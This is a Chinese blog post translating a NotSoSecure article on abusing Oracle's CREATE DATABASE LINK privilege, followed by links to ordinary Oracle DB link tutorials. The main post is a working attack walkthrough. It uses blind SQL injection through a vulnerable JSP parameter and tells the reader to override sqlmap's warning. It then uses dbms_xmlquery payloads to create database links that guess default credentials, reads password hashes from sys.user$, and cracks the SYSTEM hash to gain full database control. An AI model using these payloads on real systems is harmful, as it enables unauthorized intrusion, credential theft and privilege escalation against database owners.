`

[翻译]利用Oracle’s CREATE DATABASE LINK提权

    博客分类:
  • sql
 
阅读更多
原文地址:http://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/
Oracle数据库(以及其他数据库)提供创建连接到远端数据库服务器的database link功能。可以在远端的数据库上运行数据,并且返回结果。类似MS-SQL的Openrowset/Openquery特征。
引用

CREATE DATABASE LINK local
   CONNECT TO USERNAME IDENTIFIED BY PASSWORD
   USING 'ORCL_SID'


整型盲注
1. 通过BurpPro
2. 不能使用sqlmap
TIP1这通常十次有九次成功,但是如果原本的id=5不返回任何记录,你将错过SQLi。所以为了返回记录,可以添加"or 1=1"
sqlmap将会提示:
引用

"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"

忽略警告,选择Y继续,接着SqlMap将会继续工作,你将会得到一个sql shell以及提取你希望的任何东西

接下来发现数据库有这些权限:
引用

select privilege from session_privs [17]:
  • CREATE SESSION
  • UNLIMITED TABLESPACE
  • CREATE TABLE
  • CREATE DATABASE LINK

  • TIP2:如果你有CREATE DATABASE LINK权限,你可以在SQLi中暴力破解/猜测user,如果成功,那么可以使用那个user来query
    url如下:
    引用
    http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null


    经过几次尝试,我们获得user dbsnmp的默认口令dbsnmp,我们以dbsnmp创建一个link
    引用
    sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual

    dbsnmp用户有“Select ANY Dictionary”权限,可以允许你读sys.user$中的密码hash
    现在我们读取密码hash:
    引用

    sql-shell>select password from sys.user$@link2
  • 286E1EA8F2CFD262
  • 45B1C0C3BB1D853C
  • 4A3BA55E08595C81
  • ....

    dbsnmp用户只有读取hash的权限,没有dba的角色。既然我们拥有了system用户的hash,我们现在可以破解,然后使用system user权限来创建hash:
    引用
    sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual

    现在我们可以使用系统权限来执行任何query了。
    • 大小: 30.9 KB
    分享到:
    评论

    相关推荐

      oracle create database link

      oracle create database link

      Oracle数据库如何创建DATABASE LINK

      ### Oracle数据库创建DATABASE LINK详解 #### 一、概述 在Oracle数据库中,通过创建DATABASE LINK(简称DB LINK),可以实现在不同的数据库之间进行数据共享与交互。这种技术使得用户能够像操作本地数据库一样操作...

      oracle 存储过程 databaselink 收集

      ### Oracle存储过程与Database Link详解 #### 一、Oracle存储过程概述 在Oracle数据库中,存储过程是一种预先编译并存储在数据库中的SQL程序块,它可以接收输入参数、返回输出参数,并执行复杂的业务逻辑。存储...

      Oracle DATABASE LINK(DBLINK)创建与删除方法

      Oracle DATABASE LINK,简称DBLINK,是一种在不同的Oracle数据库实例间建立连接的方式,允许用户在本地数据库上执行查询和操作远程数据库的数据。DBLINK为跨数据库的通信提供了简单且高效的解决方案。 创建DBLINK的...

      Database Link经典详解

      综上所述,Oracle数据库链接(Database Link)是一种用于实现分布式事务处理的重要机制。通过创建合适的数据库链接,可以有效地管理和访问跨多个数据库实例的数据资源。理解其创建过程及不同类型之间的区别,对于构建...

      Oracle创建Database link方法

      Oracle 创建 Database link 方法 Oracle 创建 Database link 方法是指在 Oracle 中创建一个 Database link 的过程,这样可以实现跨库访问,即在一个数据库中可以访问另一个数据库中的数据。下面将详细介绍如何创建...

      Oracle创建Database Link的两种方式详解

      Oracle数据库的Database Link是连接不同数据库之间的一种机制,它允许用户在本地数据库上执行查询,同时访问远程数据库的数据,仿佛这些数据就在本地一样。Database Link是Oracle数据库提供的一种分布式数据库功能,...

      Oracle数据库链Database links

      ② 其次,需要创建 Database links 对象,使用 CREATE DATABASE LINK 语句。例如:CREATE DATABASE LINK yb CONNECT TO erp IDENTIFIED BY erp USING 'erp';。其中,CREATE DATABASE LINK 是创建 Database links ...

      Oracle dblink详解

      在创建 Database Link 时,Oracle 会在数据字典中保存相关的 Database Link 信息。在使用 Database Link 时,Oracle 通过 Oracle Net 使用用户预先定义好的连接信息访问相应的远程数据库以完成相应的工作。 创建 ...

      oracle oracle_dblink详解.

      3. 全局数据库链接(Global Database Link):Owner 是 PUBLIC.Global 的数据库链接是网络级的,When an Oracle network uses a directory server, the directory server automatically create and manages global ...

      database_link是用来做什么的

      数据库链接(Database Link)在Oracle数据库中扮演着重要的角色,它允许用户在不同的数据库之间进行交互,无论是本地还是远程。数据库链接本质上是一个指向其他数据库的指针,它为用户提供了一个透明的方式来访问和...

      oracle dblink详解.pdf

      - **权限**:创建 Database Link 的账号必须拥有 `CREATE DATABASE LINK` 或 `CREATE PUBLIC DATABASE LINK` 的系统权限;而用于登录远程数据库的账号则必须拥有 `CREATE SESSION` 权限。 - **说明**: - 创建 ...

      oracle跨库查询

      create database link link_zhangli connect to zhangli identified by zhangli using' (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521)) ) (CONNECT_DATA = ...

      oracle link

      标题“Oracle Link”指的是Oracle数据库中的数据库链接(Database Link)特性,它允许用户在不同的Oracle数据库之间建立连接,实现跨数据库的数据查询、更新和其他操作。这个特性是Oracle数据库的分布式处理能力的...

      database link详解

      SELECT owner, object_name FROM dba_objects WHERE object_type = 'DATABASELINK'; ``` 2. **使用 DBLink 进行查询**: - 在查询时可以直接使用 DBLink 名称作为表名的一部分: ```sql SELECT * FROM emp@...

      DB Link oracle数据库数据交换

      CREATE PUBLIC DATABASE LINK TEST2.US.ORACLE.COM CONNECT TO username IDENTIFIED BY "password" USING '251'; ``` 这里的`TEST2.US.ORACLE.COM`是新创建的DB Link名称,`username`和`password`分别是远程数据库...

      关于创建oracle dblink 过程的几点心得

      CREATE DATABASE LINK linkfwq CONNECT TO fzept IDENTIFIED BY neu USING '(DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 10.142.202.12)(PORT = 1521))) (CONNECT_DATA = (SERVICE_NAME = ...

    Global site tag (gtag.js) - Google Analytics